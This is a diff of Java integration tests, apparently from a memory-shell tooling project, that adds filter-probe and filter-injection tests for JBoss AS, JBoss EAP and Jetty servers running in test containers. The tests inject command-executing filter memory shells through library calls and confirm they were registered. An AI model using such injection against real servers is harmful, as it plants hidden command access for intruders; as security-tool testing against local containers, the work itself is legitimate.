import static org.junit.jupiter.api.Assertions.assertEquals;
/**
@@ -69,4 +80,21 @@ public class Jboss510ContainerTest {
String url = getUrl(container);
ProbeAssertion.responseBytecodeIsOk(url, Server.JBoss, Opcodes.V1_6);
}
@Test
void testFilterProbe() {
String url = getUrl(container);
String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.JBoss));
ShellAssertion.assertFilterProbeIsRight(data);
}
@Test
void testFilterFirstInject() {
String url = getUrl(container);
MemShellResult memShellResult = shellInjectIsOk(url, Server.JBoss, ShellType.FILTER, ShellTool.Command, Opcodes.V1_6, Packers.BigInteger, container);
String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.Tomcat));
List<String> filter = ProbeAssertion.getFiltersForContext(data, "/app");
String filterName = ProbeAssertion.extractFilterName(filter.get(0));
assertEquals(filterName, memShellResult.getShellClassName());
}
}
@@ -2,8 +2,15 @@ package com.reajason.javaweb.integration.probe.jbossas;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.ProbeAssertion;
import com.reajason.javaweb.integration.ShellAssertion;
import com.reajason.javaweb.integration.VulTool;
import com.reajason.javaweb.integration.probe.DetectionTool;
import com.reajason.javaweb.memshell.MemShellResult;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
import com.reajason.javaweb.probe.payload.FilterProbeFactory;
import com.reajason.javaweb.utils.CommonUtil;
import lombok.SneakyThrows;
import lombok.extern.slf4j.Slf4j;
import org.junit.jupiter.api.Test;
@@ -15,9 +22,13 @@ import org.testcontainers.junit.jupiter.Testcontainers;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.List;
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
import static com.reajason.javaweb.integration.ContainerTool.warFile;
import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
import static org.hamcrest.CoreMatchers.*;
import static org.hamcrest.MatcherAssert.assertThat;
import static org.junit.jupiter.api.Assertions.assertEquals;
/**
@@ -69,4 +80,21 @@ public class Jboss610ContainerTest {
String url = getUrl(container);
ProbeAssertion.responseBytecodeIsOk(url, Server.JBoss, Opcodes.V1_6);
}
@Test
void testFilterProbe() {
String url = getUrl(container);
String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.JBoss));
ShellAssertion.assertFilterProbeIsRight(data);
}
@Test
void testFilterFirstInject() {
String url = getUrl(container);
MemShellResult memShellResult = shellInjectIsOk(url, Server.JBoss, ShellType.FILTER, ShellTool.Command, Opcodes.V1_6, Packers.BigInteger, container);
String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.Tomcat));
List<String> filter = ProbeAssertion.getFiltersForContext(data, "/app");
String filterName = ProbeAssertion.extractFilterName(filter.get(0));
assertEquals(filterName, memShellResult.getShellClassName());
}
}
@@ -2,8 +2,15 @@ package com.reajason.javaweb.integration.probe.jbossas;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.ProbeAssertion;
import com.reajason.javaweb.integration.ShellAssertion;
import com.reajason.javaweb.integration.VulTool;
import com.reajason.javaweb.integration.probe.DetectionTool;
import com.reajason.javaweb.memshell.MemShellResult;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
import com.reajason.javaweb.probe.payload.FilterProbeFactory;
import com.reajason.javaweb.utils.CommonUtil;
import lombok.SneakyThrows;
import lombok.extern.slf4j.Slf4j;
import org.junit.jupiter.api.Test;
@@ -15,9 +22,13 @@ import org.testcontainers.junit.jupiter.Testcontainers;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.List;
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
import static com.reajason.javaweb.integration.ContainerTool.warFile;
import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
import static org.hamcrest.CoreMatchers.*;
import static org.hamcrest.MatcherAssert.assertThat;
import static org.junit.jupiter.api.Assertions.assertEquals;
/**
@@ -69,4 +80,21 @@ public class Jboss711ContainerTest {
String url = getUrl(container);
ProbeAssertion.responseBytecodeIsOk(url, Server.JBoss, Opcodes.V1_6);
}
@Test
void testFilterProbe() {
String url = getUrl(container);
String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.JBoss));
ShellAssertion.assertFilterProbeIsRight(data);
}
@Test
void testFilterFirstInject() {
String url = getUrl(container);
MemShellResult memShellResult = shellInjectIsOk(url, Server.JBoss, ShellType.FILTER, ShellTool.Command, Opcodes.V1_6, Packers.BigInteger, container);
String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.Tomcat));
List<String> filter = ProbeAssertion.getFiltersForContext(data, "/app");
String filterName = ProbeAssertion.extractFilterName(filter.get(0));
assertEquals(filterName, memShellResult.getShellClassName());
}
}
@@ -2,8 +2,14 @@ package com.reajason.javaweb.integration.probe.jbosseap;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.ProbeAssertion;
import com.reajason.javaweb.integration.ShellAssertion;
import com.reajason.javaweb.integration.VulTool;
import com.reajason.javaweb.integration.probe.DetectionTool;
import com.reajason.javaweb.memshell.MemShellResult;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
import com.reajason.javaweb.probe.payload.FilterProbeFactory;
import lombok.SneakyThrows;
import lombok.extern.slf4j.Slf4j;
import org.junit.jupiter.api.Test;
@@ -15,9 +21,11 @@ import org.testcontainers.junit.jupiter.Testcontainers;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.List;
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
import static com.reajason.javaweb.integration.ContainerTool.warFile;
import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
import static org.junit.jupiter.api.Assertions.assertEquals;
/**
@@ -69,4 +77,21 @@ public class JbossEap6ContainerTest {
String url = getUrl(container);
ProbeAssertion.responseBytecodeIsOk(url, Server.JBoss, Opcodes.V1_6);
}
@Test
void testFilterProbe() {
String url = getUrl(container);
String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.JBoss));
ShellAssertion.assertFilterProbeIsRight(data);
}
@Test
void testFilterFirstInject() {
String url = getUrl(container);
MemShellResult memShellResult = shellInjectIsOk(url, Server.JBoss, ShellType.FILTER, ShellTool.Command, Opcodes.V1_6, Packers.BigInteger, container);
String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.Tomcat));
List<String> filter = ProbeAssertion.getFiltersForContext(data, "/app");
String filterName = ProbeAssertion.extractFilterName(filter.get(0));
assertEquals(filterName, memShellResult.getShellClassName());
}
}
@@ -2,10 +2,17 @@ package com.reajason.javaweb.integration.probe.jbosseap;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.ProbeAssertion;
import com.reajason.javaweb.integration.ShellAssertion;
import com.reajason.javaweb.integration.VulTool;
import com.reajason.javaweb.integration.probe.DetectionTool;
import com.reajason.javaweb.memshell.MemShellResult;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
import com.reajason.javaweb.probe.payload.FilterProbeFactory;
import lombok.SneakyThrows;
import lombok.extern.slf4j.Slf4j;
import org.junit.jupiter.api.AfterAll;
import org.junit.jupiter.api.Test;
import org.objectweb.asm.Opcodes;
import org.testcontainers.containers.GenericContainer;
@@ -15,9 +22,13 @@ import org.testcontainers.junit.jupiter.Testcontainers;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.List;
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
import static com.reajason.javaweb.integration.ContainerTool.warFile;
import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
import static org.hamcrest.MatcherAssert.assertThat;
import static org.hamcrest.Matchers.*;
import static org.junit.jupiter.api.Assertions.assertEquals;
/**
@@ -35,6 +46,11 @@ public class JbossEap7ContainerTest {
.waitingFor(Wait.forHttp("/app"))
.withExposedPorts(8080);
@AfterAll
public static void tearDown() {
log.info(container.getLogs());
}
@Test
void testJDK() {
String url = getUrl(container);
@@ -70,4 +86,21 @@ public class JbossEap7ContainerTest {
String url = getUrl(container);
ProbeAssertion.responseBytecodeIsOk(url, Server.Undertow, Opcodes.V1_8);
}
@Test
void testFilterProbe() {
String url = getUrl(container);
String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.Undertow));
ShellAssertion.assertFilterProbeIsRight(data);
}
@Test
void testFilterFirstInject() {
String url = getUrl(container);
MemShellResult memShellResult = shellInjectIsOk(url, Server.Undertow, ShellType.FILTER, ShellTool.Command, Opcodes.V1_6, Packers.BigInteger, container);
String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.Undertow));
List<String> filter = ProbeAssertion.getFiltersForContext(data, "/app");
String filterName = ProbeAssertion.extractFilterName(filter.get(0));
assertEquals(filterName, memShellResult.getShellClassName());
}
}
@@ -2,8 +2,14 @@ package com.reajason.javaweb.integration.probe.jbosseap;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.ProbeAssertion;
import com.reajason.javaweb.integration.ShellAssertion;
import com.reajason.javaweb.integration.VulTool;
import com.reajason.javaweb.integration.probe.DetectionTool;
import com.reajason.javaweb.memshell.MemShellResult;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
import com.reajason.javaweb.probe.payload.FilterProbeFactory;
import lombok.SneakyThrows;
import lombok.extern.slf4j.Slf4j;
import org.junit.jupiter.api.Test;
@@ -15,8 +21,11 @@ import org.testcontainers.junit.jupiter.Testcontainers;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.List;
import static com.reajason.javaweb.integration.ContainerTool.*;
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile;
import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
import static org.junit.jupiter.api.Assertions.assertEquals;
/**
@@ -69,4 +78,21 @@ public class JbossEap81ContainerTest {
String url = getUrl(container);
ProbeAssertion.responseBytecodeIsOk(url, Server.Undertow, Opcodes.V17);
}
@Test
void testFilterProbe() {
String url = getUrl(container);
String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.Undertow));
ShellAssertion.assertFilterProbeIsRight(data);
}
@Test
void testFilterFirstInject() {
String url = getUrl(container);
MemShellResult memShellResult = shellInjectIsOk(url, Server.Undertow, ShellType.JAKARTA_FILTER, ShellTool.Command, Opcodes.V1_6, Packers.BigInteger, container);
String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.Undertow));
List<String> filter = ProbeAssertion.getFiltersForContext(data, "/app");
String filterName = ProbeAssertion.extractFilterName(filter.get(0));
assertEquals(filterName, memShellResult.getShellClassName());
}
}
@@ -2,11 +2,18 @@ package com.reajason.javaweb.integration.probe.jetty;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.ProbeAssertion;
import com.reajason.javaweb.integration.ShellAssertion;
import com.reajason.javaweb.integration.VulTool;
import com.reajason.javaweb.integration.probe.DetectionTool;
import com.reajason.javaweb.memshell.MemShellResult;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
import com.reajason.javaweb.probe.payload.FilterProbeFactory;
import lombok.SneakyThrows;
import lombok.extern.slf4j.Slf4j;
import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.api.AfterAll;
import org.junit.jupiter.api.Test;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.wait.strategy.Wait;
@@ -15,9 +22,13 @@ import org.testcontainers.junit.jupiter.Testcontainers;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.List;
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
import static com.reajason.javaweb.integration.ContainerTool.warFile;
import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
import static org.hamcrest.CoreMatchers.*;
import static org.hamcrest.MatcherAssert.assertThat;
import static org.junit.jupiter.api.Assertions.assertEquals;
/**
@@ -34,6 +45,11 @@ public class Jetty10ContainerTest {
.waitingFor(Wait.forHttp("/app"))
.withExposedPorts(8080);
@AfterAll
public static void tearDown() {
log.info(container.getLogs());
}
@Test
void testJDK() {
String url = getUrl(container);
@@ -69,4 +85,21 @@ public class Jetty10ContainerTest {
String url = getUrl(container);
ProbeAssertion.responseBytecodeIsOk(url, Server.Jetty, Opcodes.V11);
}
@Test
void testFilterProbe() {
String url = getUrl(container);
String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.Jetty));
ShellAssertion.assertFilterProbeIsRight(data);
}
@Test
void testFilterFirstInject() {
String url = getUrl(container);
MemShellResult memShellResult = shellInjectIsOk(url, Server.Jetty, ShellType.FILTER, ShellTool.Command, org.objectweb.asm.Opcodes.V11, Packers.BigInteger, container);
String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.Jetty));
List<String> filter = ProbeAssertion.getFiltersForContext(data, "/app");
String filterName = ProbeAssertion.extractFilterName(filter.get(0));
assertEquals(filterName, memShellResult.getShellClassName());
}
}
@@ -2,8 +2,14 @@ package com.reajason.javaweb.integration.probe.jetty;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.ProbeAssertion;
import com.reajason.javaweb.integration.ShellAssertion;
import com.reajason.javaweb.integration.VulTool;
import com.reajason.javaweb.integration.probe.DetectionTool;
import com.reajason.javaweb.memshell.MemShellResult;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
import com.reajason.javaweb.probe.payload.FilterProbeFactory;
import lombok.SneakyThrows;
import lombok.extern.slf4j.Slf4j;
import net.bytebuddy.jar.asm.Opcodes;
@@ -16,9 +22,14 @@ import org.testcontainers.junit.jupiter.Testcontainers;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.List;
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile;
import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
import static org.hamcrest.CoreMatchers.anyOf;
import static org.hamcrest.CoreMatchers.startsWith;
import static org.hamcrest.MatcherAssert.assertThat;
import static org.junit.jupiter.api.Assertions.assertEquals;
/**
@@ -75,4 +86,21 @@ public class Jetty11ContainerTest {
String url = getUrl(container);
ProbeAssertion.responseBytecodeIsOk(url, Server.Jetty, Opcodes.V17);
}
@Test
void testFilterProbe() {
String url = getUrl(container);
String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.Jetty));
ShellAssertion.assertFilterProbeIsRight(data);
}
@Test
void testFilterFirstInject() {
String url = getUrl(container);
MemShellResult memShellResult = shellInjectIsOk(url, Server.Jetty, ShellType.JAKARTA_FILTER, ShellTool.Command, Opcodes.V17, Packers.BigInteger, container);
String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.Jetty));
List<String> filter = ProbeAssertion.getFiltersForContext(data, "/app");
String filterName = ProbeAssertion.extractFilterName(filter.get(0));
assertEquals(filterName, memShellResult.getShellClassName());
}
}

Some files were not shown because too many files have changed in this diff Show More